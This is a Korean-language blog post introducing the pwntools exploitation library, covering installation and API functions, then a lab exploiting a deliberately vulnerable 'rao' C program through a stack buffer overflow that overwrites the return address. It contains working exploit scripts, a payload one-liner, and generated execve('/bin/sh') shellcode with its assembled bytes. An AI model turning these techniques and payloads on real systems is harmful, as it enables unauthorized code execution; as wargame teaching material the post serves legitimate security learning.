C - pwntools

markyang92·2024년 3월 21일
0

C

목록 보기
10/10
post-thumbnail

pwntools의 등장배경

  • 간단한 프로그램에 대해서는 아래 코드와 같이 파이썬으로 공격 페이로드를 생성하고
    파이프를 통해 이를 전달하는 방식으로 익스플로잇을 수행 할 수 있다.
$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao
  • 하지만 익스플로잇이 조금만 복잡해져도 위와 같은 방식은 사용하기 어려워진다.
    • 페이로드를 생성하기 위해 복잡한 연산을 해야 할 수도 있고,
      프로세스와 반복적으로 데이터를 주고받아야 할 수도 있다.
    • 따라서 펄, 파이썬, C언어등으로 익스플로잇 스크립트, 또는 바이너리를 제작하여 사용했다.
  • 아래 코드는 socket모듈을 사용한 초기 파이썬 익스플로잇 스크립트의 예
#!/usr/bin/env python2
import socket

# Remote host and port
RHOST = '127.0.0.1'
RPORT = 31337

# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# Build payload
payload = ''
payload += 'Socket script'
payload += '\n'

# Send payload
s.send(payload)

# Print received data
data = s.recv(1024)
print 'Received: {0}'.format(data)
  • 파이썬으로 여러 개의 익스플로잇 스크립트를 작성하다 보면, 자주 사용하게 되는 함수들이 있다.
    • 정수를 리틀 엔디언의 바이트 배열로 바꾸는 패킹함수
    • 그 역을 수행하는 언패킹 함수 등..
    • 이러한 함수들을 반복적으로 구현하는 것은 비효율적

... 이들을 집대성하여 pwntools라는 파이썬 모듈 제작

  • pwntools를 사용한 익스플로잇 스크립트
#!/usr/bin/env python3
from pwn import *

# Make TCP connection
r = remote('127.0.0.1', 31337)

# Build payload
payload = b''
payload += b'Socket script'
payload += b'\n'

# Send payload
r.send(payload)

# Print received datat
data = r.recv(1024)
print(f'Received: {data}')

pwntools 설치

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
  • 설치 확인
    • pwntools를 임포트했을 때, 에러가 발생하지 않으면 제대로 설치된 것
$ python3
>>> from pwn import *
>>>

pwntools API 사용법


process & remote

  • process 함수는 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수
    • 익스플로잇을 테스트하고 디버깅하기 위해
  • remote 함수는 원격 서버를 대상으로 할 때 사용하는 함수
    • 대상 서버를 실제로 공격하기 위해
from pwn import *
p = process('./test') # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

send

  • send데이터를 프로세스에 전송하기 위해 사용한다.
fom pwn import *
p = process('./test')

p.send(b'A') # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력

recv

  • recv프로세스에서 데이터를 받기위해 사용한다.
    • recv(n)는 최대 n 바이트를 받는 것, 그만큼 받지 못해도 에러를 발생시키지 않음
    • recvn(n)는 정확히 n 바이트를 받지 못하면, 계속 기다린다.
from pwn import *
p = process('./test')

data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello') # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall() # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

packing & unpacking

  • 익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경 또는 역 과정을 거쳐야한다.
  • p64()
    • int를 받아서 str형태로 리틀엔디언 패킹
      p64(0x12345678) => \x00\x00\x00\x00\x78\x56\x34\x12
  • u64()
    • str 형태로 packing된 string을 받아서 리틀엔디언 언패킹 (int)
    • \x00\x00\x00\x00\x78\x56\x34\x12 같은 8Byte packing된 str을 넣어줄 것

interactive

  • 셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수
  • 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있다.
from pwn import *
p = process('./test')
p.interactive()

ELF

  • ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있다.
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

context.log

  • 익스플로잇에 버그가 발생하면, 익스플로잇도 디버깅해야한다.
  • 로그레벨은 context.log_level 변수로 조절할 수 있다.
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력

context.arch

  • 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받는다.
  • 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라진다.
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386" # x86 아키텍처
context.arch = "arm" # arm 아키텍처

shellcraft

  • 자주 사용되는 셸 코드들이 저장되어 있어, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해준다.
    • 매우 편리하지만, 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못한다.
    • 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건을 반영하기 어렵다.
    • 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋다.
  • 링크에서 x86-64를 대상으로 생성할 수 있는 여러 종류의 셸 코드를 찾아볼 수 있다.
#!/usr/bin/env python3
# Name: shellcraft.py

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64

code = shellcraft.sh() # 셸을 실행하는 셸 코드
print(code)
$ python3 shellcraft.py
   /* execve(path='/bin///sh', argv=['sh'], envp=0) */
   /* push b'/bin///sh\x00' */
   push 0x68
   mov rax, 0x732f2f2f6e69622f
   ...
   syscall

asm

  • 어셈블 기능도 제공한다.
    • 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정할 것
#!/usr/bin/env python3
# Name: asm.py

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'

code = shellcraft.sh() # 셸을 실행하는 셸코드
code = asm(code) # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

실습

rao 익스플로잇

  • 하단의 코드는 C 언어로 작성된 예제코드.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}
#!/usr/bin/python3
#Name: rao.py

from pwn import *          # Import pwntools module

p = process('./rao')       # Spawn process './rao'

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']       # The address of get_shell()

payload = b'A'*0x30        #|       buf      |  <= 'A'*0x30
payload += b'B'*0x8        #|       SFP      |  <= 'B'*0x8
payload += p64(get_shell)  #| Return address |  <= '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
 
profile
pllpokko@alumni.kaist.ac.kr

0개의 댓글